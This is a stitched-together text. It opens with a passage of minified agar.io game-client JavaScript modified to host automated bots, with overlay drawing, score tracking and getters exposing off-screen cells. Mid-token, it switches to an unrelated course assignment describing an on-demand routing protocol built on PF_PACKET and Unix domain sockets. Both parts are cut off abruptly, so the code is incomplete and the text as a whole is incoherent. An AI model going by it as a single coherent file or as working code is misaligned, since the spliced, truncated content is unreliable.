else if (lines[i][4] == 3) { d.strokeStyle = "#FF8000"; } else if (lines[i][4] == 4) { d.strokeStyle = "#8A2BE2"; } else if (lines[i][4] == 5) { d.strokeStyle = "#FF69B4"; } else if (lines[i][4] == 6) { d.strokeStyle = "#008080"; } else if (lines[i][4] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.moveTo(lines[i][0], lines[i][1]); d.lineTo(lines[i][2], lines[i][3]); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < circles.length; i++) { if (circles[i][3] == 0) { d.strokeStyle = "#FF0000"; } else if (circles[i][3] == 1) { d.strokeStyle = "#00FF00"; } else if (circles[i][3] == 2) { d.strokeStyle = "#0000FF"; } else if (circles[i][3] == 3) { d.strokeStyle = "#FF8000"; } else if (circles[i][3] == 4) { d.strokeStyle = "#8A2BE2"; } else if (circles[i][3] == 5) { d.strokeStyle = "#FF69B4"; } else if (circles[i][3] == 6) { d.strokeStyle = "#008080"; } else if (circles[i][3] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 10; //d.setLineDash([5]); d.globalAlpha = 0.3; d.arc(circles[i][0], circles[i][1], circles[i][2], 0, 2 * Math.PI, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dArc.length; i++) { if (dArc[i][7] == 0) { d.strokeStyle = "#FF0000"; } else if (dArc[i][7] == 1) { d.strokeStyle = "#00FF00"; } else if (dArc[i][7] == 2) { d.strokeStyle = "#0000FF"; } else if (dArc[i][7] == 3) { d.strokeStyle = "#FF8000"; } else if (dArc[i][7] == 4) { d.strokeStyle = "#8A2BE2"; } else if (dArc[i][7] == 5) { d.strokeStyle = "#FF69B4"; } else if (dArc[i][7] == 6) { d.strokeStyle = "#008080"; } else if (dArc[i][7] == 7) { d.strokeStyle = (getDarkBool() ? '#F2FBFF' : '#111111'); } else { d.strokeStyle = "#000000"; } d.beginPath(); d.lineWidth = 5; var ang1 = Math.atan2(dArc[i][1] - dArc[i][5], dArc[i][0] - dArc[i][4]); var ang2 = Math.atan2(dArc[i][3] - dArc[i][5], dArc[i][2] - dArc[i][4]); d.arc(dArc[i][4], dArc[i][5], dArc[i][6], ang1, ang2, false); d.stroke(); } d.restore(); d.save(); for (var i = 0; i < dPoints.length; i++) { if (dText[i] == "") { var radius = 10; d.beginPath(); d.arc(dPoints[i][0], dPoints[i][1], radius, 0, 2 * Math.PI, false); if (dPoints[i][2] == 0) { d.fillStyle = "black"; } else if (dPoints[i][2] == 1) { d.fillStyle = "yellow"; } else if (dPoints[i][2] == 2) { d.fillStyle = "blue"; } else if (dPoints[i][2] == 3) { d.fillStyle = "red"; } else if (dPoints[i][2] == 4) { d.fillStyle = "#008080"; } else if (dPoints[i][2] == 5) { d.fillStyle = "#FF69B4"; } else { d.fillStyle = "#000000"; } d.fill(); d.lineWidth = 2; d.strokeStyle = '#003300'; d.stroke(); } else { var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111'), true, (getDarkBool() ? '#111111' : '#F2FBFF')); text.C(dText[i]); var textRender = text.L(); d.drawImage(textRender, dPoints[i][0] - (textRender.width / 2), dPoints[i][1] - (textRender.height / 2)); } } d.restore(); } function drawStats(d) { d.save() sessionScore = Math.max(getCurrentScore(), sessionScore); var botString = window.botList[botIndex].displayText(); var debugStrings = []; debugStrings.push("Bot: " + window.botList[botIndex].name); debugStrings.push("Launcher: AposLauncher " + aposLauncherVersion); debugStrings.push("T - Bot: " + (!toggle ? "On" : "Off")); debugStrings.push("R - Lines: " + (!toggleDraw ? "On" : "Off")); for (var i = 0; i < botString.length; i++) { debugStrings.push(botString[i]); } debugStrings.push(""); debugStrings.push("Best Score: " + ~~(sessionScore / 100)); debugStrings.push("Best Time: " + bestTime + " seconds"); debugStrings.push(""); debugStrings.push(serverIP); if (getPlayer().length > 0) { var offsetX = -getMapStartX(); var offsetY = -getMapStartY(); debugStrings.push("Location: " + Math.floor(getPlayer()[0].x + offsetX) + ", " + Math.floor(getPlayer()[0].y + offsetY)); } var offsetValue = 20; var text = new va(18, (getDarkBool() ? '#F2FBFF' : '#111111')); for (var i = 0; i < debugStrings.length; i++) { text.C(debugStrings[i]); var textRender = text.L(); d.drawImage(textRender, 20, offsetValue); offsetValue += textRender.height; } if (message.length > 0) { var mRender = []; var mWidth = 0; var mHeight = 0; for (var i = 0; i < message.length; i++) { var mText = new va(28, '#FF0000', true, '#000000'); mText.C(message[i]); mRender.push(mText.L()); if (mRender[i].width > mWidth) { mWidth = mRender[i].width; } mHeight += mRender[i].height; } var mX = getWidth() / 2 - mWidth / 2; var mY = 20; d.globalAlpha = 0.4; d.fillStyle = '#000000'; d.fillRect(mX - 10, mY - 10, mWidth + 20, mHeight + 20); d.globalAlpha = 1; var mOffset = mY; for (var i = 0; i < mRender.length; i++) { d.drawImage(mRender[i], getWidth() / 2 - mRender[i].width / 2, mOffset); mOffset += mRender[i].height; } } d.restore(); } function Ab() { f.fillStyle = ta ? "#111111" : "#F2FBFF"; f.fillRect(0, 0, m, r); f.save(); f.strokeStyle = ta ? "#AAAAAA" : "#000000"; f.globalAlpha = .2 * h; for (var a = m / h, b = r / h, c = (a / 2 - s) % 50; c < a; c += 50) f.beginPath(), f.moveTo(c * h - .5, 0), f.lineTo(c * h - .5, b * h), f.stroke(); for (c = (b / 2 - t) % 50; c < b; c += 50) f.beginPath(), f.moveTo(0, c * h - .5), f.lineTo(a * h, c * h - .5), f.stroke(); f.restore() } function Cb() { if (Qa && Ja.width) { var a = m / 5; f.drawImage(Ja, 5, 5, a, a) } } function Bb() { for (var a = 0, b = 0; b < k.length; b++) a += k[b].q * k[b].q; return a } function ab() { z = null; if (null != A || 0 != F.length) if (null != A || wa) { z = document.createElement("canvas"); var a = z.getContext("2d"), b = 60, b = null == A ? b + 24 * F.length : b + 180, c = Math.min(200, .3 * m) / 200; z.width = 200 * c; z.height = b * c; a.scale(c, c); a.globalAlpha = .4; a.fillStyle = "#000000"; a.fillRect(0, 0, 200, b); a.globalAlpha = 1; a.fillStyle = "#FFFFFF"; c = null; c = Z("leaderboard"); a.font = "30px Ubuntu"; a.fillText(c, 100 - a.measureText(c).width / 2, 40); if (null == A) for (a.font = "20px Ubuntu", b = 0; b < F.length; ++b) c = F[b].name || Z("unnamed_cell"), wa || (c = Z("unnamed_cell")), -1 != M.indexOf(F[b].id) ? (k[0].name && (c = k[0].name), a.fillStyle = "#FFAAAA") : a.fillStyle = "#FFFFFF", c = b + 1 + ". " + c, a.fillText(c, 100 - a.measureText(c).width / 2, 70 + 24 * b); else for (b = c = 0; b < A.length; ++b) { var d = c + A[b] * Math.PI * 2; a.fillStyle = Db[b + 1]; a.beginPath(); a.moveTo(100, 140); a.arc(100, 140, 80, c, d, !1); a.fill(); c = d } } } function Ka(a, b, c, d, e) { this.V = a; this.x = b; this.y = c; this.i = d; this.b = e } function da(a, b, c, d, e, p) { this.id = a; this.s = this.x = b; this.t = this.y = c; this.r = this.size = d; this.color = e; this.a = []; this.W(); this.B(p) } function va(a, b, c, d) { a && (this.u = a); b && (this.S = b); this.U = !!c; d && (this.v = d) } function S(a, b) { var c = "1" == e("#helloContainer").attr("data-has-account-data"); e("#helloContainer").attr("data-has-account-data", "1"); if (null == b && d.localStorage.loginCache) { var l = JSON.parse(d.localStorage.loginCache); l.f = a.f; l.d = a.d; l.e = a.e; d.localStorage.loginCache = JSON.stringify(l) } if (c) { var u = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[0], c = +e(".agario-exp-bar .progress-bar-text").first().text().split("/")[1].split(" ")[0], l = e(".agario-profile-panel .progress-bar-star").first().text(); if (l != a.e) S({ f: c, d: c, e: l }, function() { e(".agario-profile-panel .progress-bar-star").text(a.e); e(".agario-exp-bar .progress-bar").css("width", "100%"); e(".progress-bar-star").addClass("animated tada").one("webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend", function() { e(".progress-bar-star").removeClass("animated tada") }); setTimeout(function() { e(".agario-exp-bar .progress-bar-text").text(a.d + "/" + a.d + " XP"); S({ f: 0, d: a.d, e: a.e }, function() { S(a, b) }) }, 1E3) }); else { var p = Date.now(), g = function() { var c; c = (Date.now() - p) / 1E3; c = 0 > c ? 0 : 1 < c ? 1 : c; c = c * c * (3 - 2 * c); e(".agario-exp-bar .progress-bar-text").text(~~(u + (a.f - u) * c) + "/" + a.d + " XP"); e(".agario-exp-bar .progress-bar").css("width", (88 * (u + (a.f - u) * c) / a.d).toFixed(2) + "%"); 1 > c ? d.requestAnimationFrame(g) : b && b() }; d.requestAnimationFrame(g) } } else e(".agario-profile-panel .progress-bar-star").text(a.e), e(".agario-exp-bar .progress-bar-text").text(a.f + "/" + a.d + " XP"), e(".agario-exp-bar .progress-bar").css("width", (88 * a.f / a.d).toFixed(2) + "%"), b && b() } function jb(a) { "string" == typeof a && (a = JSON.parse(a)); Date.now() + 18E5 > a.ja ? e("#helloContainer").attr("data-logged-in", "0") : (d.localStorage.loginCache = JSON.stringify(a), B = a.fa, e(".agario-profile-name").text(a.name), $a(), S({ f: a.f, d: a.d, e: a.e }), e("#helloContainer").attr("data-logged-in", "1")) } function Eb(a) { a = a.split("\n"); jb({ name: a[0], ta: a[1], fa: a[2], ja: 1E3 * +a[3], e: +a[4], f: +a[5], d: +a[6] }); console.log("Hello Facebook?"); } function La(a) { if ("connected" == a.status) { var b = a.authResponse.accessToken; d.FB.api("/me/picture?width=180&height=180", function(a) { d.localStorage.fbPictureCache = a.data.url; e(".agario-profile-picture").attr("src", a.data.url) }); e("#helloContainer").attr("data-logged-in", "1"); null != B ? e.ajax("https://m.agar.io/checkToken", { error: function() { console.log("Facebook Fail!"); B = null; La(a) }, success: function(a) { a = a.split("\n"); S({ e: +a[0], f: +a[1], d: +a[2] }); console.log("Facebook connected!"); }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: B }) : e.ajax("https://m.agar.io/facebookLogin", { error: function() { console.log("You have a Facebook problem!"); B = null; e("#helloContainer").attr("data-logged-in", "0") }, success: Eb, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: b }) } } function Wa(a) { Y(":party"); e("#helloContainer").attr("data-party-state", "4"); a = decodeURIComponent(a).replace(/.*#/gim, ""); Ma("#" + d.encodeURIComponent(a)); e.ajax(Na + "//m.agar.io/getToken", { error: function() { e("#helloContainer").attr("data-party-state", "6") }, success: function(b) { b = b.split("\n"); e(".partyToken").val("agar.io/#" + d.encodeURIComponent(a)); e("#helloContainer").attr("data-party-state", "5"); Y(":party"); Ca("ws://" + b[0], a) }, dataType: "text", method: "POST", cache: !1, crossDomain: !0, data: a }) } function Ma(a) { d.history && d.history.replaceState && d.history.replaceState({}, d.document.title, a) } if (!d.agarioNoInit) { var Na = d.location.protocol, tb = "https:" == Na, xa = d.navigator.userAgent; if (-1 != xa.indexOf("Android")) d.ga && d.ga("send", "event", "MobileRedirect", "PlayStore"), setTimeout(function() { d.location.href = "market://details?id=com.miniclip.agar.io" }, 1E3); else if (-1 != xa.indexOf("iPhone") || -1 != xa.indexOf("iPad") || -1 != xa.indexOf("iPod")) d.ga && d.ga("send", "event", "MobileRedirect", "AppStore"), setTimeout(function() { d.location.href = "https://itunes.apple.com/app/agar.io/id995999703" }, 1E3); else { var za, f, G, m, r, X = null, //UPDATE toggle = false, toggleDraw = false, tempPoint = [0, 0, 1], dPoints = [], circles = [], dArc = [], dText = [], lines = [], names = ["NotReallyABot"], originalName = names[Math.floor(Math.random() * names.length)], sessionScore = 0, serverIP = "", interNodes = [], lifeTimer = new Date(), bestTime = 0, botIndex = 0, reviving = false, message = [], q = null, s = 0, t = 0, M = [], k = [], E = {}, v = [], Q = [], F = [], fa = 0, ga = 0, //UPDATE ia = -1, ja = -1, zb = 0, C = 0, ib = 0, K = null, pa = 0, qa = 0, ra = 1E4, sa = 1E4, h = 1, y = null, kb = !0, wa = !0, Oa = !1, Ha = !1, R = 0, ta = !1, lb = !1, aa = s = ~~((pa + ra) / 2), ba = t = ~~((qa + sa) / 2), ca = 1, P = "", A = null, ya = !1, Ga = !1, Ea = 0, Fa = 0, na = 0, oa = 0, mb = 0, Db = ["#333333", "#FF3333", "#33FF33", "#3333FF"], Ia = !1, $ = !1, bb = 0, B = null, J = 1, x = 1, W = !0, Ba = 0, Da = {}; (function() { var a = d.location.search; "?" == a.charAt(0) && (a = a.slice(1)); for (var a = a.split("&"), b = 0; b < a.length; b++) { var c = a[b].split("="); Da[c[0]] = c[1] } })(); var Qa = "ontouchstart" in d && /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(d.navigator.userAgent), Ja = new Image; Ja.src = "img/split.png"; var nb = document.createElement("canvas"); if ("undefined" == typeof console || "undefined" == typeof DataView || "undefined" == typeof WebSocket || null == nb || null == nb.getContext || null == d.localStorage) alert("You browser does not support this game, we recommend you to use Firefox to play this"); else { var ka = null; d.setNick = function(a) { //UPDATE originalName = a; if (getPlayer().length == 0) { lifeTimer = new Date(); } Xa(); K = a; cb(); R = 0 }; d.setRegion = ha; d.setSkins = function(a) { kb = a }; d.setNames = function(a) { wa = a }; d.setDarkTheme = function(a) { ta = a }; d.setColors = function(a) { Oa = a }; d.setShowMass = function(a) { lb = a }; d.spectate = function() { K = null; H(1); Xa() }; d.setGameMode = function(a) { a != P && (":party" == P && e("#helloContainer").attr("data-party-state", "0"), Y(a), ":party" != a && I()) }; d.setAcid = function(a) { Ia = a }; null != d.localStorage && (null == d.localStorage.AB9 && (d.localStorage.AB9 = 0 + ~~(100 * Math.random())), mb = +d.localStorage.AB9, d.ABGroup = mb); e.get(Na + "//gc.agar.io", function(a) { var b = a.split(" "); a = b[0]; b = b[1] || ""; - 1 == ["UA"].indexOf(a) && ob.push("ussr"); ea.hasOwnProperty(a) && ("string" == typeof ea[a] ? y || ha(ea[a]) : ea[a].hasOwnProperty(b) && (y || ha(ea[a][b]))) }, "text"); d.ga && d.ga("send", "event", "User-Agent", d.navigator.userAgent, { nonInteraction: 1 }); var la = !1, Ya = 0; setTimeout(function() { la = !0 }, Math.max(6E4 * Ya, 1E4)); var ea = { AF: "JP-Tokyo", AX: "EU-London", AL: "EU-London", DZ: "EU-London", AS: "SG-Singapore", AD: "EU-London", AO: "EU-London", AI: "US-Atlanta", AG: "US-Atlanta", AR: "BR-Brazil", AM: "JP-Tokyo", AW: "US-Atlanta", AU: "SG-Singapore", AT: "EU-London", AZ: "JP-Tokyo", BS: "US-Atlanta", BH: "JP-Tokyo", BD: "JP-Tokyo", BB: "US-Atlanta", BY: "EU-London", BE: "EU-London", BZ: "US-Atlanta", BJ: "EU-London", BM: "US-Atlanta", BT: "JP-Tokyo", BO: "BR-Brazil", BQ: "US-Atlanta", BA: "EU-London", BW: "EU-London", BR: "BR-Brazil", IO: "JP-Tokyo", VG: "US-Atlanta", BN: "JP-Tokyo", BG: "EU-London", BF: "EU-London", BI: "EU-London", KH: "JP-Tokyo", CM: "EU-London", CA: "US-Atlanta", CV: "EU-London", KY: "US-Atlanta", CF: "EU-London", TD: "EU-London", CL: "BR-Brazil", CN: "CN-China", CX: "JP-Tokyo", CC: "JP-Tokyo", CO: "BR-Brazil", KM: "EU-London", CD: "EU-London", CG: "EU-London", CK: "SG-Singapore", CR: "US-Atlanta", CI: "EU-London", HR: "EU-London", CU: "US-Atlanta", CW: "US-Atlanta", CY: "JP-Tokyo", CZ: "EU-London", DK: "EU-London", DJ: "EU-London", DM: "US-Atlanta", DO: "US-Atlanta", EC: "BR-Brazil", EG: "EU-London", SV: "US-Atlanta", GQ: "EU-London", ER: "EU-London", EE: "EU-London", ET: "EU-London", FO: "EU-London", FK: "BR-Brazil", FJ: "SG-Singapore", FI: "EU-London", FR: "EU-London", GF: "BR-Brazil", PF: "SG-Singapore", GA: "EU-London", GM: "EU-London", GE: "JP-Tokyo", DE: "EU-London", GH: "EU-London", GI: "EU-London", GR: "EU-London", GL: "US-Atlanta", GD: "US-Atlanta", GP: "US-Atlanta", GU: "SG-Singapore", GT: "US-Atlanta", GG: "EU-London", GN: "EU-London", GW: "EU-London", GY: "BR-Brazil", HT: "US-Atlanta", VA: "EU-London", HN: "US-Atlanta", HK: "JP-Tokyo", HU: "EU-London", IS: "EU-London", IN: "JP-Tokyo", ID: "JP-Tokyo", IR: "JP-Tokyo", IQ: "JP-Tokyo", IE: "EU-London", IM: "EU-London", IL: "JP-Tokyo", IT: "EU-London", JM: "US-Atlanta", JP: "JP-Tokyo", JE: "EU-London", JO: "JP-Tokyo", KZ: "JP-Tokyo", KE: "EU-London", KI: "SG-Singapore", KP: "JP-Tokyo", KR: "JP-Tokyo", KW: "JP-Tokyo", KG: "JP-Tokyo", LA: "JP-Tokyo", LV: "EU-London", LB: "JP-Tokyo", LS: "EU-London", LR: "EU-London", LY: "EU-London", LI: "EU-London", LT: "EU-London", LU: "EU-London", MO: "JP-Tokyo", MK: "EU-London", MG: "EU-London", MW: "EU-London", MY: "JP-Tokyo", MV: "JP-Tokyo", ML: "EU-London", MT: "EU-London", MH: "SG-Singapore", MQ: "US-Atlanta", MR: "EU-London", MU: "EU-London", YT: "EU-London", MX: "US-Atlanta", FM: "SG-Singapore", MD: "EU-London", MC: "EU-London", MN: "JP-Tokyo", ME: "EU-London", MS: "US-Atlanta", MA: "EU-London", MZ: "EU-London", MM: "JP-Tokyo", NA: "EU-London", NR: "SG-Singapore", NP: "JP-Tokyo", NL: "EU-London", NC: "SG-Singapore", NZ: "SG-Singapore", NI: "US-Atlanta", NE: "EU-London", NG: "EU-London", NU: "SG-Singapore", NF: "SG-Singapore", MP: "SG-Singapore", NO: "EU-London", OM: "JP-Tokyo", PK: "JP-Tokyo", PW: "SG-Singapore", PS: "JP-Tokyo", PA: "US-Atlanta", PG: "SG-Singapore", PY: "BR-Brazil", PE: "BR-Brazil", PH: "JP-Tokyo", PN: "SG-Singapore", PL: "EU-London", PT: "EU-London", PR: "US-Atlanta", QA: "JP-Tokyo", RE: "EU-London", RO: "EU-London", RU: "RU-Russia", RW: "EU-London", BL: "US-Atlanta", SH: "EU-London", KN: "US-Atlanta", LC: "US-Atlanta", MF: "US-Atlanta", PM: "US-Atlanta", VC: "US-Atlanta", WS: "SG-Singapore", SM: "EU-London", ST: "EU-London", SA: "EU-London", SN: "EU-London", RS: "EU-London", SC: "EU-London", SL: "EU-London", SG: "JP-Tokyo", SX: "US-Atlanta", SK: "EU-London", SI: "EU-London", SB: "SG-Singapore", SO: "EU-London", ZA: "EU-London", SS: "EU-London", ES: "EU-London", LK: "JP-Tokyo", SD: "EU-London", SR: "BR-Brazil", SJ: "EU-London", SZ: "EU-London", SE: "EU-London", CH: "EU-London", SY: "EU-London", TW: "JP-Tokyo", TJ: "JP-Tokyo", TZ: "EU-London", TH: "JP-Tokyo", TL: "JP-Tokyo", TG: "EU-London", TK: "SG-Singapore", TO: "SG-Singapore", TT: "US-Atlanta", TN: "EU-London", TR: "TK-Turkey", TM: "JP-Tokyo", TC: "US-Atlanta", TV: "SG-Singapore", UG: "EU-London", UA: "EU-London", AE: "EU-London", GB: "EU-London", US: "US-Atlanta", UM: "SG-Singapore", VI: "US-Atlanta", UY: "BR-Brazil", UZ: "JP-Tokyo", VU: "SG-Singapore", VE: "BR-Brazil", VN: "JP-Tokyo", WF: "SG-Singapore", EH: "EU-London", YE: "JP-Tokyo", ZM: "EU-London", ZW: "EU-London" }, L = null; d.connect = Ca; //UPDATE /** * Tells you if the game is in Dark mode. * @return Boolean for dark mode. */ window.getDarkBool = function() { return ta; } /** * Tells you if the mass is shown. * @return Boolean for player's mass. */ window.getMassBool = function() { return lb; } /** * This is a copy of everything that is shown on screen. * Normally stuff will time out when off the screen, this * memorizes everything that leaves the screen for a little * while longer. * @return The memory object. */ window.getMemoryCells = function() { return interNodes; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCellsArray = function() { return v; } /** * [getCellsArray description] * @return {[type]} [description] */ window.getCells = function() { return E; } /** * Returns an array with all the player's cells. * @return Player's cells */ window.getPlayer = function() { return k; } /** * The canvas' width. * @return Integer Width */ window.getWidth = function() { return m; } /** * The canvas' height * @return Integer Height */ window.getHeight = function() { return r; } /** * Scaling ratio of the canvas. The bigger this ration, * the further that you see. * @return Screen scaling ratio. */ window.getRatio = function() { return h; } /** * [getOffsetX description] * @return {[type]} [description] */ window.getOffsetX = function() { return aa; } window.getOffsetY = function() { return ba; } window.getX = function() { return s; } window.getY = function() { return t; } window.getPointX = function() { return ia; } window.getPointY = function() { return ja; } /** * The X location of the mouse. * @return Integer X */ window.getMouseX = function() { return fa; } /** * The Y location of the mouse. * @return Integer Y */ window.getMouseY = function() { return ga; } window.getMapStartX = function() { return pa; } window.getMapStartY = function() { return qa; } window.getMapEndX = function() { return ra; } window.getMapEndY = function() { return sa; } window.getScreenDistance = function() { var temp = screenDistance(); return temp; } /** * A timestamp since the last time the server sent any data. * @return Last update timestamp */ window.getLastUpdate = function() { return C; } window.getCurrentScore = function() { return R; } /** * The game's current mode. (":ffa", ":experimental", ":teams". ":party") * @return {[type]} [description] */ window.getMode = function() { return P; } window.getServer = function() { return serverIP; } window.setPoint = function(x, y) { ia = x; ja = y; } window.setScore = function(a) { sessionScore = a * 100; } window.setBestTime = function(a) { bestTime = a; } window.best = function(a, b) { setScore(a); setBestTime(b); } window.setBotIndex = function(a) { console.log("Changing bot"); botIndex = a; } window.setMessage = function(a) { message = a; } window.updateBotList = function() { window.botList = window.botList || []; window.jQuery('#locationUnknown').text(""); window.jQuery('#locationUnknown').append(window.jQuery('<select id="bList" class="form-control" onchange="setBotIndex($(this).val());" />')); window.jQuery('#locationUnknown').addClass('form-group'); for (var i = 0; i < w
SOYJUN / Implement ODR ProtocolOverview For this assignment you will be developing and implementing : An On-Demand shortest-hop Routing (ODR) protocol for networks of fixed but arbitrary and unknown connectivity, using PF_PACKET sockets. The implementation is based on (a simplified version of) the AODV algorithm. Time client and server applications that send requests and replies to each other across the network using ODR. An API you will implement using Unix domain datagram sockets enables applications to communicate with the ODR mechanism running locally at their nodes. I shall be discussing the assignment in class on Wednesday, October 29, and Monday, November 3. The following should prove useful reference material for the assignment : Sections 15.1, 15.2, 15.4 & 15.6, Chapter 15, on Unix domain datagram sockets. PF_PACKET(7) from the Linux manual pages. You might find these notes made by a past CSE 533 student useful. Also, the following link http://www.pdbuchan.com/rawsock/rawsock.html contains useful code samples that use PF_PACKET sockets (as well as other code samples that use raw IP sockets which you do not need for this assignment, though you will be using these types of sockets for Assignment 4). Charles E. Perkins & Elizabeth M. Royer. “Ad-hoc On-Demand Distance Vector Routing.” Proceedings of the 2nd IEEE Workshop on Mobile Computing Systems and Applications, New Orleans, Louisiana, February 1999, pp. 90 - 100. The VMware environment minix.cs.stonybrook.edu is a Linux box running VMware. A cluster of ten Linux virtual machines, called vm1 through vm10, on which you can gain access as root and run your code have been created on minix. See VMware Environment Hosts for further details. VMware instructions takes you to a page that explains how to use the system. The ten virtual machines have been configured into a small virtual intranet of Ethernet LANs whose topology is (in principle) unknown to you. There is a course account cse533 on node minix, with home directory /users/cse533. In there, you will find a subdirectory Stevens/unpv13e , exactly as you are used to having on the cs system. You should develop your source code and makefiles for handing in accordingly. You will be handing in your source code on the minix node. Note that you do not need to link against the socket library (-lsocket) in Linux. The same is true for -lnsl and -lresolv. For example, take a look at how the LIBS variable is defined for Solaris, in /home/courses/cse533/Stevens/unpv13e_solaris2.10/Make.defines (on compserv1, say) : LIBS = ../libunp.a -lresolv -lsocket -lnsl -lpthread But if you take a look at Make.defines on minix (/users/cse533/Stevens/unpv13e/Make.defines) you will find only: LIBS = ../libunp.a -lpthread The nodes vm1 , . . . . . , vm10 are all multihomed : each has two (or more) interfaces. The interface ‘eth0 ’ should be completely ignored and is not to be used for this assignment (because it shows all ten nodes as if belonging to the same single Ethernet 192.168.1.0/24, rather than to an intranet composed of several Ethernets). Note that vm1 , . . . . . , vm10 are virtual machines, not real ones. One implication of this is that you will not be able to find out what their (virtual) IP addresses are by using nslookup and such. To find out these IP addresses, you need to look at the file /etc/hosts on minix. More to the point, invoking gethostbyname for a given vm will return to you only the (primary) IP address associated with the interface eth0 of that vm (which is the interface you will not be using). It will not return to you any other IP address for the node. Similarly, gethostbyaddr will return the vm node name only if you give it the (primary) IP address associated with the interface eth0 for the node. It will return nothing if you give it any other IP address for the node, even though the address is perfectly valid. Because of this, and because it will ease your task to be able to use gethostbyname and gethostbyaddr in a straightforward way, we shall adopt the (primary) IP addresses associated with interfaces eth0 as the ‘canonical’ IP addresses for the nodes (more on this below). Time client and server A time server runs on each of the ten vm machines. The client code should also be available on each vm so that it can be evoked at any of them. Normally, time clients/servers exchange request/reply messages using the TCP/UDP socket API that, effectively, enables them to receive service (indirectly, via the transport layer) from the local IP mechanism running at their nodes. You are to implement an API using Unix domain sockets to access the local ODR service directly (somewhat similar, in effect, to the way that raw sockets permit an application to access IP directly). Use Unix domain SOCK_DGRAM, rather than SOCK_STREAM, sockets (see Figures 15.5 & 15.6, pp. 418 - 419). API You need to implement a msg_send function that will be called by clients/servers to send requests/replies. The parameters of the function consist of : int giving the socket descriptor for write char* giving the ‘canonical’ IP address for the destination node, in presentation format int giving the destination ‘port’ number char* giving message to be sent int flag if set, force a route rediscovery to the destination node even if a non-‘stale’ route already exists (see below) msg_send will format these parameters into a single char sequence which is written to the Unix domain socket that a client/server process creates. The sequence will be read by the local ODR from a Unix domain socket that the ODR process creates for itself. Recall that the ‘canonical’ IP address for a vm node is the (primary) IP address associated with the eth0 interface for the node. It is what will be returned to you by a call to gethostbyname. Similarly, we need a msg_recv function which will do a (blocking) read on the application domain socket and return with : int giving socket descriptor for read char* giving message received char* giving ‘canonical’ IP address for the source node of message, in presentation format int* giving source ‘port’ number This information is written as a single char sequence by the ODR process to the domain socket that it creates for itself. It is read by msg_recv from the domain socket the client/server process creates, decomposed into the three components above, and returned to the caller of msg_recv. Also see the section below entitled ODR and the API. Client When a client is evoked at a node, it creates a domain datagram socket. The client should bind its socket to a ‘temporary’ (i.e., not ‘well-known’) sun_path name obtained from a call to tmpnam() (cf. line 10, Figure 15.6, p. 419) so that multiple clients may run at the same node. Note that tmpnam() is actually highly deprecated. You should use the mkstemp() function instead - look up the online man pages on minix (‘man mkstemp’) for details. As you run client code again and again during the development stage, the temporary files created by the calls to tmpnam / mkstemp start to proliferate since these files are not automatically removed when the client code terminates. You need to explicitly remove the file created by the client evocation by issuing a call to unlink() or to remove() in your client code just before the client code exits. See the online man pages on minix (‘man unlink’, ‘man remove’) for details. The client then enters an infinite loop repeating the steps below. The client prompts the user to choose one of vm1 , . . . . . , vm10 as a server node. Client msg_sends a 1 or 2 byte message to server and prints out on stdout the message client at node vm i1 sending request to server at vm i2 (In general, throughout this assignment, “trace” messages such as the one above should give the vm names and not IP addresses of the nodes.) Client then blocks in msg_recv awaiting response. This attempt to read from the domain socket should be backed up by a timeout in case no response ever comes. I leave it up to you whether you ‘wrap’ the call to msg_recv in a timeout, or you implement the timeout inside msg_recv itself. When the client receives a response it prints out on stdout the message client at node vm i1 : received from vm i2 <timestamp> If, on the other hand, the client times out, it should print out the message client at node vm i1 : timeout on response from vm i2 The client then retransmits the message out, setting the flag parameter in msg_send to force a route rediscovery, and prints out an appropriate message on stdout. This is done only once, when a timeout for a given message to the server occurs for the first time. Client repeats steps 1. - 3. Server The server creates a domain datagram socket. The server socket is assumed to have a (node-local) ‘well-known’ sun_path name which it binds to. This ‘well-known’ sun_path name is designated by a (network-wide) ‘well-known’ ‘port’ value. The time client uses this ‘port’ value to communicate with the server. The server enters an infinite sequence of calls to msg_recv followed by msg_send, awaiting client requests and responding to them. When it responds to a client request, it prints out on stdout the message server at node vm i1 responding to request from vm i2 ODR The ODR process runs on each of the ten vm machines. It is evoked with a single command line argument which gives a “staleness” time parameter, in seconds. It uses get_hw_addrs (available to you on minix in ~cse533/Asgn3_code) to obtain the index, and associated (unicast) IP and Ethernet addresses for each of the node’s interfaces, except for the eth0 and lo (loopback) interfaces, which should be ignored. In the subdirectory ~cse533/Asgn3_code (/users/cse533/Asgn3_code) on minix I am providing you with two functions, get_hw_addrs and prhwaddrs. These are analogous to the get_ifi_info_plus and prifinfo_plus of Assignment 2. Like get_ifi_info_plus, get_hw_addrs uses ioctl. get_hw_addrs gets the (primary) IP address, alias IP addresses (if any), HW address, and interface name and index value for each of the node's interfaces (including the loopback interface lo). prhwaddrs prints that information out. You should modify and use these functions as needed. Note that if an interface has no HW address associated with it (this is, typically, the case for the loopback interface lo for example), then ioctl returns get_hw_addrs a HW address which is the equivalent of 00:00:00:00:00:00 . get_hw_addrs stores this in the appropriate field of its data structures as it would with any HW address returned by ioctl, but when prhwaddrs comes across such an address, it prints a blank line instead of its usual ‘HWaddr = xx:xx:xx:xx:xx:xx’. The ODR process creates one or more PF_PACKET sockets. You will need to try out PF_PACKET sockets for yourselves and familiarize yourselves with how they behave. If, when you read from the socket and provide a sockaddr_ll structure, the kernel returns to you the index of the interface on which the incoming frame was received, then one socket will be enough. Otherwise, somewhat in the manner of Assignment 2, you shall have to create a PF_PACKET socket for every interface of interest (which are all the interfaces of the node, excluding interfaces lo and eth0 ), and bind a socket to each interface. Furthermore, if the kernel also returns to you the source Ethernet address of the frame in the sockaddr_ll structure, then you can make do with SOCK_DGRAM type PF_PACKET sockets; otherwise you shall have to use SOCK_RAW type sockets (although I would prefer you to use SOCK_RAW type sockets anyway, even if it turns out you can make do with SOCK_DGRAM type). The socket(s) should have a protocol value (no larger than 0xffff so that it fits in two bytes; this value is given as a network-byte-order parameter in the call(s) to function socket) that identifies your ODR protocol. The 